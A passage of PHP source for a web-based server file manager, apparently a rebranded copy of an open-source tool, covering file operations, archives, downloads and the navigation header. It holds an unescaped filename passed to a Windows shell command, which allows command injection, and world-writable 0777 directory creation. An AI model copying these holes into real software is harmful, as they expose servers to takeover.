    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'spathe<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="spathe">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 